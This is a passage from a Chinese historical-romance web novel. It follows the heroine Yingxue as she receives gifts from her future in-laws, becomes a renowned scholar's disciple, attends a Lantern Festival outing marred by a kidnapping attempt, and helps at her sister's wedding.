映雪连连摇头，仍欲拒绝。景阳侯夫人见状，莞尔一笑道：“小雪啊，景阳侯府就舟儿这一个孩子，往后这一切不迟早都是你们的？早收晚收又有何分别呢？小雪，祖母的心意，你且收下便是。”接着，她又道：“我可没祖母那般的大手笔。”言罢，便示意丫鬟将礼物呈了上来。只见那是一顶极尽奢华的凤冠，璀璨夺目，熠熠生辉。景阳侯夫人面带微笑，缓缓说道：“这凤冠乃是当年我出嫁之时，舟儿的外祖母命人精心打造而成，意义非凡。如今，我将它送给你，也算是一份传承。这套凤冠虽不及祖母的明月山庄贵重，但也是我的一番心意，你务必收下。”
映雪简直快要被景阳侯府长辈们的惊人手笔给惊得落下泪来。她着实未曾想到，景阳侯府的长辈们竟会对她如此热情，也难怪许牧舟是个能用珍珠砸人的主儿。
当然，这其实是映雪误会许牧舟了。当时，他前往永安侯府赴映雪之约。站在树干之上，正巧瞧见映雪独自一人在院子里踱步。他本想提醒她，树叶太轻难以引起注意，石子又太过尖利，而珍珠则刚刚合适。
映雪眼见景阳侯夫人与老夫人一片赤诚爱心，心中明白，若是再拒绝下去，便显得矫情了。于是，她不再推辞，大大方方地收下礼物，并真心实意地向两位长辈道谢。随后，映雪示意竹韵将她准备的礼物呈了上来。送给景阳侯夫人的是一瓶美容丸，送给老夫人的则是养生丸。这些丸药皆是映雪加入灵液精心调制而成，是无处可买的稀罕之物。
景阳侯夫人与老夫人对映雪的礼物满意至极，连连夸赞。
午膳是在景阳侯府享用的。景阳侯夫人显然是提前用心打听过映雪的喜好，桌上摆着的皆是她钟爱的菜色与可口的点心。这一顿宴席，悄然拉近了映雪与景阳侯府两位女主人之间的关系。直至映雪告辞离开之时，景阳侯夫人竟流露出些许不舍之意，还紧紧拉着她的手，殷切地嘱咐她常来景阳侯府玩耍。
直至上了马车
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，绿绮这才敢发出感叹，说道：“在这京城之中，怕是再没有比景阳侯府更好的府邸了吧。景阳侯夫人和老夫人对咱们姑娘既大方又热情，等姑娘嫁进来之后，这日子定然比在咱们侯府还要舒坦呢。”
竹韵一脸认真之色，郑重地说道：“那是因为咱们姑娘好。”绿绮心中思忖，确实如此。她心想，要是换成四姑娘，景阳侯老夫人定然不会对她这般好。当然，她们并不知道，其实这里面还有玉佩的缘故。而玉佩之事，在景阳侯夫人以及老夫人那里已然不是秘密了。
映雪心中了然，不过她也确实能够真切地感受到景阳侯夫人与老夫人对她的那份真心实意。
心中满是欢喜，已然心满意足。
回了映月阁后没多久，映雪便收到了清平差人送过来的信件。待映雪仔细看清信中的内容，心中也不由地涌起一股寒意。原来，清平昨日在街上遭遇地痞无赖，果真并非意外之事，竟是太师府精心策划的。其目的便是为了上演一场英雄救美，从而撮合清平与太师府嫡长孙的婚事。而这其中，竟还有康郡王府侧妃在推波助澜。
这件事情实际上与苏璟皓也有着一定的关联。原本康郡王府安排了清平与太师府的嫡长孙相看，可那次苏璟皓陪着映雪送清平回府，此事被下人禀告到了王妃那里。王妃事后询问了清平对婚事的看法，清平的回答令王妃担忧，于是便推掉了与太师府的相看。太师府一时焦急，便想出了这么一出计策。
好在，也正因为这一遭，使得王妃彻底断绝了与太师府结亲的心思。
映雪正想着清平也算脱离了前世的命运，心中不禁有了几分快意。忽然，门外传来一阵急促的脚步声，映雪转头望去，来人正是大哥苏璟皓。只见他神情似是有些焦急，映雪正欲询问出了何事，苏璟皓便急声问道：“妹妹，听说清平送信过来了？昨日的事是不是查清了？”映雪微微挑眉，心中已有了一定的猜想，突然问道：“大哥，你怎么突然如此关心清平了？你是不是喜欢她？”话音刚落，便见苏璟皓的脸色顿时涨得通红，结结巴巴地说道：“胡……胡说，我好歹也是当事人之一，关心一下不是很正常吗？”
映雪故意调侃道：“哦……那就好，清平要订亲了呢。”
“订亲？哪个府上？我怎么没听过？”苏璟皓急切地问道。
映雪只是盯着苏璟皓，含笑不语。
苏璟皓尴尬不已，挠了挠头道：“妹妹，你可要帮我。”
映雪揶揄道：“帮你什么呀？”
苏璟皓一咬牙，心一横，道：“没错，我喜欢清平。清平温柔又善良，还特别聪明。”接着眼中带着光，又道：“以后生的女儿肯定也跟你一样聪明机灵。父亲还总是打击我，说我不如你聪明呢。”说罢，语气闷闷的，带着一丝委屈，仿佛受了极大的委屈一般。
75. 拜师
映雪噗嗤一下，笑出了声来。
心中暗自思忖，要是大哥知道父亲曾经还庆幸她是女儿身，估计会更加心塞吧。继而又问道：“那你该不会是仅仅因为清平聪明才喜欢她的吧？”苏璟皓急忙说道：“那怎么可能！反正清平哪里都好，我这可是第一次心动呢。”
映雪不禁直呼自己糊涂，以前怎么就没想到要撮合大哥与清平呢？
大哥身为侯府世子的身份与清平正是门当户对。清平要是能成为她的嫂嫂，简直是再好不过的事情了。
于是，她便爽快地答应下来，说道：“我可以帮你试探一下清平，但要获取她的芳心，还得靠你自己，明白吧？”
苏璟皓连连点头，接着问道：“那清平有什么喜好呢？”映雪微微挑眉，笑着说道：“清平喜欢经商，还有啊，她喜欢跟聪明人打交道。”苏璟皓闻言，顿时倍感心塞。
映雪没有告诉大哥的是，大哥的简单直率亦是清平所重中，这也是清平能与嘉柔一直交好的原因。
爱一个人并没有明确的界定，大哥能不能成功，也只能靠大哥自己去努力了。
就如同她与许牧舟之间的感情，也可算是水到渠成。
然而，一想到许牧舟已经离开了十多天，映雪的心中便不免涌起些许惆怅之感。
待苏璟皓离去之后，映雪便打算给许牧舟写信。她想要在信中告诉他自己今日去景阳侯府拜见的情形，同时，也想问问他战场上的情况如何。
许牧舟接连几日投身战场，在战场上也渐渐闯出了赫赫威名。赤焰国见此情形，不得不停战修整。
赤焰军营之中，几位将军围坐一处商讨战事。其中一位将军忍不住破口大骂：“他娘的，这小子怎的如此难缠！假以时日，怕是比他那父亲还要厉害。”
另一位将军神情凝重，缓缓说道：“你们可曾发现？大乾国如今的兵器与以往不同了。此前，大乾国的兵器与我们赤焰国相比有明显不足，若不是靠着景阳侯足智多谋，这靖宁城怕是早就被我们攻下了。”
随后，那位将军叹息道：“如今看来，怕是没那么容易了。”
靖宁城乃是赤焰国攻略大乾国的第一道关卡。自从靖宁城被景阳侯接手之后，赤焰国便再也未能将其攻下。
又有其他将军满心不满地说道：“巫师不是有其它计谋吗？怎么搞了那么多事情，却都没能让大乾国内乱起来。”
大将军陷入沉思，片刻之后，微微皱眉道：“如今也只能再另想别的办法了，看看是否有其他途径能够攻入大乾国。”
靖宁城主府内此时一片喜气洋洋。众将领纷纷夸赞起许牧舟来，说道：“小将军当真是后生可畏啊！谋略之深，令人赞叹不已。”沐将军亦大笑道：“想来要不了多久，你父亲那战□□号便要被你给夺了去喽。”景阳侯亦是一脸荣焉，随即却面色一正，提醒众人道：“诸位切不可高兴得太早。赤焰国见靖宁城难以入攻，必定会另想别的法子。如今正值赤焰国青黄不接之际，他们的战略只会更加凶猛。”然而，有将军却显得有些不以为然，说道：“如今大乾国的兵器已不同往日，况且靖宁城乃是赤焰国入关的第一个关口，他们还能有什么办法？总不至于翻山越岭吧。”
许牧舟闻听此言，随即眉头微微一蹙，转头吩咐亲卫道：“速速去把舆图取来。”
亲卫取来舆图，众人激烈讨论后确定并补充完整应对之策。
春节休沐假已然结束，永安侯即将开始上朝理政，苏璟皓也需前往书院求学。此时，众人齐聚于荣晖堂，共同商议映雪前往凌云书院之事。
映雪面露苦笑，说道：“明日我与大哥前往书院，究竟是着女装还是男装呢？穿男装吧，又怕对山长不敬；穿女装的话，却也不合适。”
永安侯一锤定音道：“就穿男装吧。魏山长乃是当世大儒，其觉悟绝非寻常之人可比，定然不会在意这个。”
接着又提醒道：“明日去凌云书院切记要多带几个人。”
虽说映雪身边除了竹清之外，又多了两个暗卫，但永安侯还是有些放心不下。”
此前映雪与许牧舟在崖底所发现的旷产，皇上已派遣官员负责开采事宜，永安侯亦是主事之一。故而从京城到麒麟山这一段路途，并没有危险。映雪不愿父亲担忧，便也点头同意下来。
苏璟睿在一旁打趣着说道：“三妹妹，二哥我能不能去凌云书院念书，与大哥做伴，可就全靠你了。”
苏秀容忍不住瞪了他一眼，说道：“你可别给三妹妹施加压力，谁让你之前不好好用心温习功课呢。”
苏璟睿露出一抹苦笑，说道：“我的好姐姐，你在府里的日子也没几天了，就不能多顺着我点儿吗？”话音刚落，耳朵就被二夫人给扯住了，只听二夫人说道：“臭小子，你也知道你姐姐离出阁没几日了，还不好好听你姐姐的话，尽让她替你操心。”苏璟睿顿时疼得大喊起来，连忙求饶道：“娘啊，我知道错了，我保证这段时间好好听姐姐的话，她叫我往东走，我绝不往西。”
荣晖堂内欢声笑语此起彼伏，气氛一片融洽和谐。
映雪对如今侯府的氛围极为满意。没了大夫人和苏映蓉之后，整个侯府似乎都变得平和起来。苏沁雪也不惹事。这段时日，老夫人的状态眼见着好了许多，二夫人见了都羡慕不已，觉得是映雪给老太太配的养生丸效果极好。但实际上，这与老夫人的心情也有着极大的关系。
映雪慢悠悠地朝着映月阁走去，一路悠然地欣赏着侯府的美景。刚踏入映月阁，绿绮便匆匆地迎了上来。脸上满是纠结之色，似乎有什么事要说却又难以启齿。
映雪直言问道：“何事？”绿绮迟疑了一下，说道：“姑娘，江嬷嬷求见您，正在后门等着呢。”
映雪微微一怔，她确实已经许久都没有想起过向莞宜和陈煜安了。随即，眉头紧紧皱起，上辈子的事情于她而言已然很是遥远，那些能够令她想起上辈子之事的人，她着实不想见。
绿绮见映雪沉默不语，便说道：“姑娘，那奴婢过去直接回绝了她吧。”
映雪思索片刻，便道：“罢了，让她进来吧。”
江嬷嬷蹒跚着脚步，紧紧跟着绿绮缓缓走进了映月阁。待见到映雪，她便“扑通”一声跪了下去，高声喊道：“姑娘，老奴给您
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请安了。”
映雪看着眼前这位仿佛老了好几岁的江嬷嬷，心中也涌起些许复杂的情绪，开口道：“起来吧。江嬷嬷，你找我所为何事？”
原来陈煜安与清和县主已于年前完婚，这成婚还没几日，清和县主得知陈煜安的妾室向莞宜已有了身孕，便让身边的嬷嬷直接去了向莞宜的院子行落胎之事。向莞宜使计躲过一劫，随即赶紧让江嬷嬷前来向映雪求救。
映雪闻言，心中竟涌起一阵好笑之感，讥讽道：“江嬷嬷难不成不清楚我与她之间的纠葛？”
江嬷嬷沉默了片刻，而后从怀中掏出一封信，递给映雪。映雪快速览阅，信上无疑是提及她们小时候的过往之事，以及向她道歉。信中言明，她并非诚心要害映雪，是她想错了，辜负了映雪对她的好。求映雪帮她最后一次等等。
映雪忆起上辈子临死那一幕，或许没有向莞宜的狠心，她未必有机会重活。罢了，随即让竹韵取来一瓶药丸，交给江嬷嬷，道：“这瓶药你带回去给她吧，可以调养身体。别的我也帮不了，以后不要再找我了。”
因向莞宜之事，映雪夜里梦到前世，光怪陆离。
直到坐上了前往凌云书院的马车，映雪都还有些萎靡不振。苏璟皓见映雪这般模样，便提议道：“妹妹，要不你也骑马吧，骑马的话或许还能精神一些呢！”
映雪忍不住向苏璟皓翻了个白眼。
这一次映雪没有逞强。到了凌云书院的山脚下，直接就让竹清背着她上去。中途还碰到了几个书院的学子，那些学子投来的眼神中满是鄙视，让映雪心塞不已。
苏璟皓直接将映雪送到了山长的院子。
魏山长的院子种满竹林，微风拂过，竹叶沙沙响，阳光透过缝隙洒下，形成斑驳光影。院子有石桌石凳，古朴雅致，一条石子小路通向简洁书房，门半掩着，能看到里面的书籍和文房四宝。整个院子弥漫宁静悠远的气息。
魏山长正在书房等她。
映雪向魏山长见礼，魏山长笑着捋着胡须，突然发问：“慧敏郡主，你可知‘学而不思则罔，思而不学则殆’何解？”
映雪微微思索，而后恭敬地回答：“山长，此句意为只是学习却不思考就会迷惑而无所得，只是思考却不学习就会精神疲倦而无所得。学与思当相辅相成，不可偏废其一。”
魏山长微微点头，又问道：“那你说说，为学之道，在于何处？”
映雪从容应答：““为学之道，在于勤勉求知，虚心求教，不断探索。既要广读经典，汲取前人智慧，又要结合实际，勇于思考创新。同时，还需有持之以恒的毅力和坚定的信念，方能在学问之路上不断前行。”
魏山长眼中露出赞赏之色，继续追问：“你身为女子，却有救世之志，你如何看待女子在世间的地位？”
映雪目光坚定，回答道：“山长，女子虽常处闺阁之中，但心可比天高。我愿以医术济世，以智慧启迪人心，不以性别自限，只以志向为先。”
魏山长听后，站起身来，突然问道：“慧敏郡主，你可有字？”
映雪一时哑然，发出一声：“啊？”
76. 元宵
魏山长又道：“雅澜如何？雅韵如兰映秀色，澜波似梦启华光。”
映雪面露踌躇之色，轻声道：“山长，学生不明白。”
魏山长突然展颜笑道：“我有意收你为徒，做我的关门弟子。”
闻听此言，映雪脑袋里瞬间如雷鸣般嗡嗡作响。她来不及多做思考，便急忙向魏山长跪了下去，恭敬作揖道：“雅澜拜见师傅！”
魏山长大笑出声，随即示意小厮将他准备的礼物奉上。那是一枚精心雕琢过的精巧玉章，底部正刻着“雅澜”两字，显然是早有准备。魏山长不但是连皇上都敬仰的大儒，更是著名的雕刻大师，其雕刻作品向来有市无价。这份礼物显然是用足了心意，映雪满心感动。然而，她心中却满是疑惑，好奇魏山长为何会收她为徒。虽说她曾救过魏山长，但魏山长断不会只因救命之恩便收她为徒。于是，映雪将心底的不解问了出来。
山长随即笑道：“你可知景阳侯世子的字？”映雪微微点头，心中的疑惑却愈发浓重。
山长颇有些不忿地说道：“老夫与了澄那老秃驴乃是至交好友。想当年，景阳侯世子本应是我的弟子，却硬生生被那老秃驴给抢了去。如今见到了你，你天资聪慧过人，心怀大义，天生就该成为我的弟子。”最后一句中，语气里带着满满的自豪。
映雪又追问道：“那师父为何提前就知道我必然会成为你的弟子呢？”山长捋了捋胡须，神情倨傲地说道：“那老秃驴抢了我一个弟子，自然要赔我一个弟子。”映雪这才恍然大悟，原来此事与了澄大师有关。
此前，从刺客那里得知，她被刺杀一事竟与赤焰的巫师有关，她便想要见一见了澄大师。奈何了澄大师已出游，不在京城之中。虽然映雪从未见过了澄大师，但了澄大师却在诸多方面助她良多，映雪心中满是感激之情。
映雪见魏山长已然成为自己的师父，便也不再见外，直接试探着问道：“师父，那我以后该如何向师父请教学问呢？需要时常来书院吗？”
山长仔细询问了映雪平日的学习情况后，随即安排道：“为师会给你布置一些功课，往后你每月来书院一次，为师要检查你的功课完成情况。”映雪乖巧地点点头。接着，她又笑着讨好道：“师父，您能不能同意让我二哥也来书院读书呢？若是有我二哥陪同，家中长辈想必也能更加安心，不必再担心我路上的安全问题了。”
山长闻言，想起之前映雪被刺之事，眉头微微紧蹙，随即又舒展开来，微笑着点头道：“也好，为师一会儿就让小厮去安排一下，届时让你二哥直接过来书院办理入学手续。”
映雪顿时激动不已，眉开眼笑地说道：“多谢师父！我以后定会努力学习，绝不辜负师父对我的教导。”山长亦是笑意盎然，叮嘱道：“莫忘初心。”映雪郑重其事地点了点头。
映雪从山长院子中出来后，径直前往苏璟皓的宿舍。
苏璟皓得知映雪竟成了山长的关门弟子，而且二弟苏璟睿也能来凌云书院读书，心中激动难抑，满脸崇拜地对映雪说道：“妹妹，你可真是厉害至极！竟然被山长收为关门弟子，有此殊荣，以后在这书院里你简直都能横着走了。”说罢，他又紧接着道：“走，我们去食堂，哥哥叫上几个好友，好好为你庆祝一番。”
映雪脸颊微红，心中有些犹豫，说道：“这不方便吧？”
苏璟皓以为映雪是担忧自己的身份不方便在书院行走，实际上映雪是担心男女有别。不以为然地说道：“这有何不便？你如今是山长的关门弟子，那便也是书院的一员，自然是哪里都能去。”
映雪听后，无奈地点头赞同。
苏璟皓随即起身，雷厉风行地召唤了几位同窗过来。其中便有赵宇轩和李逸风，两人见到映雪，微微颔首以示招呼。
李逸风的神情却有些扭捏，似是带着几分局促。映雪则落落大方地对两人莞尔一笑，瞬间驱散了些许尴尬的气氛。
几人一同前往食堂，当众人得知苏璟皓身边这位一直被他们误以为是弟弟的人实际上是苏璟皓的妹妹慧敏郡主，并且还是山长的关门弟子时，顿时惶恐不安。连忙向映雪道贺，言辞之间满是敬重与羡慕。映雪爽朗一笑，洒脱地拿起茶杯，敬道：“以后大家都是同门，我在此以茶代酒，敬各位师兄一杯。往后还请各位师兄多多关照。”
一顿饭的工夫，映雪与凌云书院之间的距离被迅速拉近。同时，映雪也从这几位学子生动的讲述中，听闻了一些妙趣横生的趣事。
直至映雪准备从书院离开之际，学子们依旧热情不减，直言让映雪放心，等苏璟睿来到书院，自有他们照应，绝不会有人敢欺负他。
映雪笑着点头致谢。
苏璟皓一直将映雪送到了山脚下，再三叮嘱道：“妹妹，切记一定要直接回府，万万不可在半道上逗留。”映雪颇有些无奈地说道：“大哥，你都已经说了好几遍啦，我知道了。”
随即，映雪也提醒苏璟皓道：“大哥，元宵节你可得早点回府，到时候陪我去街上看花灯。”
苏璟皓哪里会不应允，忙不迭地连连点头。
苏璟皓返回宿舍，却见刚才几位好友都聚在他的宿舍之中。他随即皱眉道：“你们都聚在这里做什么？”李逸风拍了拍苏璟皓的肩膀，揶揄道：“璟皓兄，你可不厚道啊！慧敏郡主要来，你也不提前跟我们打个招呼，害得我们在郡主面前失了礼。”苏璟皓仔细打量了李逸风一番，随即狐疑道：“莫非你还敢肖想我妹妹？”李逸风闻言，顿时泄了气，说道：“哪里敢啊，那可是令我们敬佩不已、巾帼不让须眉的慧敏郡主。我们自然是想在郡主面前留个好印象。”旁边的同窗也在一旁起哄，羡慕苏璟皓有这样厉害的好妹妹，扬言让苏璟皓回了京城再请他们吃一顿。苏璟皓被吵得无奈，只好答应下来。李逸风随即眼珠一转，问苏璟皓道：“璟皓兄，你可还有其他未订亲的妹妹？你看我当你妹夫如何？”语音刚落，就被其他人纷纷讨伐：“好你个李逸风，竟然还想
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近水楼台。”转头又去向苏璟皓推荐自己。
苏璟皓顿时头大，吼道：“都给我滚出去。”
众人对此也并不在意，离开时还不忘叮嘱苏璟皓，千万莫要忘了他们。语气中带着调侃。
永安侯得知映雪成了山长的关门弟子，且苏璟睿也能去凌云书院读书，顿时惊喜交加，难以自已。
他随即叮嘱映雪道：“以后定要好好用功学习，切不可辜负了山长对你的期望。”另外又道：“还需准备一份拜师礼，到时为父自会派人送去书院。”
映雪还未来得及说话，老夫人在欢喜过后，随即又有些发愁，犹豫着说道：“映雪前面还有九位师兄呢，这些师兄们可要送礼？”
永安侯思索了片刻，说道：“那就一起准备吧。”随后又对映雪道：“你去准备一些药丸、香丸之类的，其它的为父来准备。”
映雪乖巧地点头同意。
在接下来的几日里，映雪一直待在映月阁中，专心致志地准备着山长布置的功课。那些送出去的礼物，也陆陆续续地得到了回礼。令人意外的是，映雪竟然还收到了太子送来的厚礼。且太子还以师兄的名义将她狠狠地教训了一顿，言下之意是说她厚此薄彼，全然没把他这位师兄放在心里。映雪顿时尴尬不已，只因给太子送礼，确实有结党营私之嫌，故而在父亲犹豫之时，她直接提议不送。却没想到，竟还是被太子抓住了把柄。无奈之下，映雪赶忙将之前特意为太子调理身体的药丸以及又新添加了一些的最近调制的香丸，派人给太子送了过去。
转眼，元宵便到了。
苏璟皓及苏璟睿皆早早地从书院归来。待一家人吃罢团圆宴，映雪便满心迫不及待地想要去街上游玩。苏秀蓉颇有些犹豫，缓缓说道：“三妹妹，我就不去了。你和四妹妹玩得开心些。”还不待映雪开口说服，一旁的苏沁雪也婉言拒绝道：“三姐姐，我身子有些不适，你让大哥、二哥陪你去吧。”
老夫人闻言，微微皱眉道：“元宵佳节，本就应出去热闹热闹，万不可闷在屋里。你们都一同去吧，往后等你们都嫁人了，可就没这么自由了。如今在府中，更应该珍惜这般时光。”说罢，老夫人朝苏秀蓉望去，温言道：“祖母知道你有顾虑，咱们侯府不在意这些。你就同你三妹妹去玩吧。”苏秀蓉见祖母提议她去，心中的顾虑顿时消散，脸上露出欢喜之色，高兴地点头答应。毕竟过几日她就要出阁了，按理她是要留在府中不能出去的。
老夫人又转头看向苏沁雪，慈爱地说道：“祖母知道你这段时间不好受，但人都要往前看。你也跟姐姐们出去玩玩，顺便散散心。”
苏沁雪闻言，眼眶顿时变得通红，恭恭敬敬地说道：“沁雪明白，多谢祖母。”
元宵佳节，街道灯火辉煌，人潮涌动。苏璟皓和苏璟睿分别护在映雪、苏秀蓉、苏沁雪两边。
街上杂技表演精彩绝伦，美食摊子数不胜数，散发诱人香气，不远处高高花台上挂满花灯，高耸入云。
77. 出阁
映雪拉着苏秀蓉往高台走去，苏沁雪跟在后面。
然而，人群突然涌动，人们纷纷朝高台涌去。强大的人潮冲开了映雪和苏秀蓉紧拉的手，苏沁雪也被冲得远离。很快，她们被挤散在人群中。
映雪正慌乱间，忽然听到苏璟皓的叫喊声，那声音渐渐地消失在嘈杂的人群中。映雪顿时感到情况不对劲，急忙挤到旁边的摊子处，停下了脚步，紧张地向四周望去。
不一会儿，竹清便追了过来。映雪见状，顿时松了一口气。连忙问道：“竹清，你有没有见到大姐姐？”竹清忙点头道：“大姑娘与二少爷在一起，正在往这边赶来。”
话音刚落，就听到周围的人群议论纷纷：“前面有个姑娘出事了，听说还是位贵女，怪倒霉的。”
映雪的心瞬间揪起，急忙拉着竹清的手回头找苏秀蓉。
行至半路，映雪与正匆忙赶过来寻找她的苏秀蓉和苏璟睿碰了个正着。相互询问，确认彼此无恙后，都长长地舒了一口气，放下心来。苏秀蓉忽地想起落单的苏沁雪，不由地秀眉紧蹙，忧心忡忡道：“四妹妹怕是被人群冲散了，怎么办？”
映雪面色凝重，沉声道：“回头找找看吧，还有大哥，也不知道去哪儿了。”
苏璟睿看着众人，提议道：“不如我们分头找人，这样或许能更快找到大哥和四妹妹。”
映雪却果断拒绝道：“不行，这街上人实在太多了，要是我们再分开，说不定等找到了他们，他们又要开始找我们了。一个晚上都在找人了。”
苏秀蓉也在一旁附和道：“三妹妹说得有理，我们就别分开了，一起找吧。三妹妹注意左边的商铺，我注意右边的商铺，二弟注意前面的人群。”
映雪和苏璟睿听后，都纷纷点头表示同意。
行走了片刻，竹清突然停下了脚步，对映雪说道：“姑娘，左边的巷子里有打斗声传来。”
映雪闻言，立刻当机立断道：“走，过去看看。”
众人穿过商铺，踏入小巷之中，抬眼便看见苏璟皓正与一名身着华服的公子说话，苏沁雪静静地站在苏璟皓的旁边，而地上还躺着几位伤者，场面颇有些混乱。映雪心中一紧，急忙喊道：“大哥。”
此时，华服公子也转过头来，正是三皇子。三皇子瞧见映雪，神色淡然，缓缓开口道：“慧敏郡主，别来无恙！”那语气不紧不慢，仿佛眼前的混乱与他毫无关系一般。
映雪向三皇子行礼后，快步朝苏璟皓走了过去，面露关切之色，问道：“大哥，怎么回事？”苏璟皓以眼神安抚了映雪，让她莫要惊慌，随即朝三皇子拱手道：“刚才承蒙三皇子出手相助，感激不尽。如今我的弟弟妹妹们已然寻了过来，在下就先行一步了，三皇子请留步。”说罢，便带着映雪和苏沁雪从三皇子身边经过。
三皇子的眼神在苏沁雪身上停留了片刻，苏沁雪微微低头，向三皇子行了个礼，便随着苏璟皓匆匆离开了。
映雪从苏璟皓口中得知了事情的经过。原来，在他们被人群冲散的那一刻，苏璟皓本想直接去追寻映雪，然而，就在他准备行动之际，目光恰好扫见苏沁雪身边的人似乎有些不对劲。心中犹豫了片刻，正巧瞧见竹清正朝着映雪的方向赶去，于是，他便朝苏沁雪追了过去。没想到，当真碰上了人贩子，而且对方准备得十分充分。苏璟皓与那几个人贩子打斗在一起，渐渐地，开始有些不敌。就在这千钧一发之际，正被三皇子一行人遇上，三皇子身边的护卫出手，正好救了苏璟皓。
映雪心中总觉得此事没这么简单巧合，她缓缓抬起头，朝着苏沁雪望去。只见苏沁雪似乎有些出神，不知在想些什么。片刻后，映雪微微皱眉道：“算了，今日还是打道回府吧。这街上的人实在太多了，也太容易出事了。”
苏璟皓也点头同意，目光不经意间瞧见了小摊上的花灯，五彩斑斓，甚是好看。便微笑着说道，“大哥给你们一人买一盏花灯，也算是应景。”
众人回府，老夫人诧异他们回来早，得知苏沁雪差点出事，心中亦是庆幸。
映雪回到映月阁，早早地洗漱完毕，躺上了床。心中却不由地有些想念许牧舟，甚至在晚上做梦的时候，还梦见了许牧舟。早上醒来，绿绮瞧见映雪脸上的红晕，疑惑道，“姑娘，你脸上怎么红红的，莫不是发烧了?”映雪轻轻抚摸着自己的脸颊，微微摇头道：“无事，许是睡得有些热罢了。”绿绮随即笑道：“也是呢，这天气也渐渐暖了，过几日大姑娘出阁定是个好天气。”映雪闻言，心情也顿时好了起来。
没过一会儿，就见白芷急匆匆地跑了过来，恭恭敬敬地向映雪行礼，道：“姑娘，七少爷去了。”映雪愣了一下，秀眉微微蹙起，道：“怎么回事？”白芷面色沉重，沉声道：“说是昨日照顾七少爷的丫鬟顾着玩花灯去了，没注意到七少爷的不对劲。”映雪沉默了片刻，轻轻摆手示意白芷退下。
映雪心中知晓祖母此时必定也不好受，便没去荣晖堂打扰。自从大夫人出事之后，苏敏皓也渐渐成了府里的忌讳。除了苏沁雪偶尔会去看上两眼，但也不会多做停留。
映雪用完早膳，轻声吩咐竹韵道：“把针线篓子给我取过来。”
竹韵听了诧异，不一会儿，便将篓子取来放在映雪面前。
映雪看着篓中的绣线与布料，顿时又有些后悔。
罢了，映雪心中暗自思忖，许牧舟要是胆敢嫌弃，自己定饶不了他。
随即，映雪挑了一块藏青色锦缎和一些银线，准备绣荷包。
映雪虽然女红不佳，但她绣得极为认真。经过一番努力，荷包终于完工。荷包歪歪扭扭，针脚粗细不匀，藏青色的锦缎上绣着的祥云图案也有些模糊不清，银线更是歪七扭八地穿插其中。
映雪看了甚是满意，问起旁边的竹韵道，“我做的荷包怎么样？有进步吧？”
竹韵看了沉默，昧着良心道，“姑娘绣得极好。”
正月二十，乃是宜嫁娶的良辰吉日，苏秀蓉便定在这日出阁。
出阁前一日，映雪带着精心准备的添妆礼来到苏秀蓉的秀宁居。此时的秀宁居一片热闹景象，苏秀蓉的几位闺蜜以及孙府的几位姑娘皆纷纷前来送添妆礼。孙大姑娘一见到映雪，便带着满心歉意，恭敬地向映雪行礼，道：“敏慧郡主，上次在孙府招待不周，还请郡主见谅。”映雪连忙摆手，微笑着说道：“孙姑娘不必如此见外，今日乃是大姐姐的好日子，莫要再提过往之事，大家开开心心便好。”孙大姑
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娘闻言，这才松了一口气。
随即，有姑娘起哄道：“慧敏郡主，你送给秀蓉的添妆礼是什么呀？可否也让我们观赏一番？”映雪与苏秀蓉对视一眼，而后笑道：“自然可以。”随即，绿绮便将礼盒呈了过来。映雪轻轻开启盒子，刹那间，一道璀璨光芒散发出来。那是一套极为精美的头饰，纯金打造的主体，纹路细腻如丝，上面镶嵌着数颗绚丽多彩的宝石。那宝石有深邃如静谧湖水的蓝色，有鲜艳似燃烧火焰的红色，还有温润若初春嫩叶的绿色，犹如星辰般璀璨夺目。周围还点缀着小巧玲珑的珍珠，洁白圆润，散发着柔和的光泽，与宝石相得益彰。
苏秀蓉被映雪的大手笔给惊住了，连忙说道：“三妹妹，你这添妆也太贵重了。”映雪打断苏秀蓉的话，温柔地说道：“再贵重也比不上我与大姐姐之间的感情贵重。愿大姐姐出阁后光彩照人、幸福满溢。”苏秀蓉感动得热泪盈眶。
其他贵女们纷纷羡慕不已，不由地赞叹道：“郡主真是大方，这头饰上的宝石个个都是极品，皆是有市无价之物呢。”
这些宝石，正是映雪之前从许牧舟的小库房中取来的。
随后苏沁雪也送了添妆过来，苏沁雪送的是一扇她亲自绣的屏风，上面绣着鸳鸯戏水的图案，栩栩如生，显示苏沁雪也花了一番心思，苏秀蓉也是感动不已。
随后，苏沁雪送来添妆，是一扇她亲自绣制的屏风，上面鸳鸯戏水的图案栩栩如生，可见其花了一番心思。
嘉柔与清平也派人送来了添妆礼。
待夜幕降临，二夫人来到秀宁居。亲自教导苏秀蓉诸多事宜，随后又郑重地递给苏秀蓉一本册子。苏秀蓉瞧见那册子，顿时脸红不已。二夫人得知映雪送的添妆礼后，不禁感叹道：“我们这一房啊，真是欠你三妹妹太多了。你以后出嫁了，一定要常与你三妹妹走动。”苏秀蓉微微点头，接着顺便提醒道：“三妹妹爱吃，母亲可以留意下京城的厨子，要是有合适的，便留下来。”
二夫人点头应道，脸上露出欣慰的笑容，道：“母亲知晓了。难为你们姐妹如此情深，母亲也为你们感到开心。”
翌日，整个苏府张灯结彩，处处洋溢着喜庆的氛围。大红的绸缎从府门一路延伸至内院，鲜艳的花朵装饰着各个角落。
苏璟皓的那几位同窗好友，纷纷自告奋勇地来到永安侯府充当拦路官，一时间，永安侯府大门被堵得密不透风。
而萧府这边也毫不逊色，傧相队伍浩浩荡荡，气势磅礴，最为引人瞩目的当属萧三公子——萧相的嫡子，以及豫亲王世子。
一时间，拦路官与傧相之间展开了一场激烈的角逐，双方你来我往，斗智斗勇，好不热闹。
两方人马皆施展出浑身解数，各显神通。整个场面热闹非凡，周围的百姓们被这热闹的氛围所吸引，纷纷停下脚步驻足观看，喝彩声此起彼伏，一浪高过一浪。
然而，没一会儿的工夫，拦路官们便渐渐败下阵来。守在前院打听消息的绿绮得知这一情况后，心急如焚，连忙一路小跑着奔向秀宁居，向映雪禀告这一紧急情况。
映雪灵机一动，计上心来。嘴角微微上扬，露出一抹狡黠的笑容，随后，映雪微微倾身，在绿绮耳畔轻声低语。
78. 凌羽
绿绮眼眸忽地一亮，款步轻移来到前院。她清了清嗓子，声音缓缓传出：“诸位傧相，且仔细听好了。这题目呢，需在一炷香的时间内，用一百种不同的方式形容我家大姑娘的美，且不能有重复之词。”
此言一出，傧相众人皆面面相觑，脸上皆露出为难之色。豫亲王世子与萧三公子对视一眼，而后爽朗笑道：“三姑娘这问题实在是太刁钻了，我们认输。”
拦路官们听闻此言，顿时开怀大笑，纷纷赞道：“不亏是敏慧郡主，这问题出得可真是巧妙。”
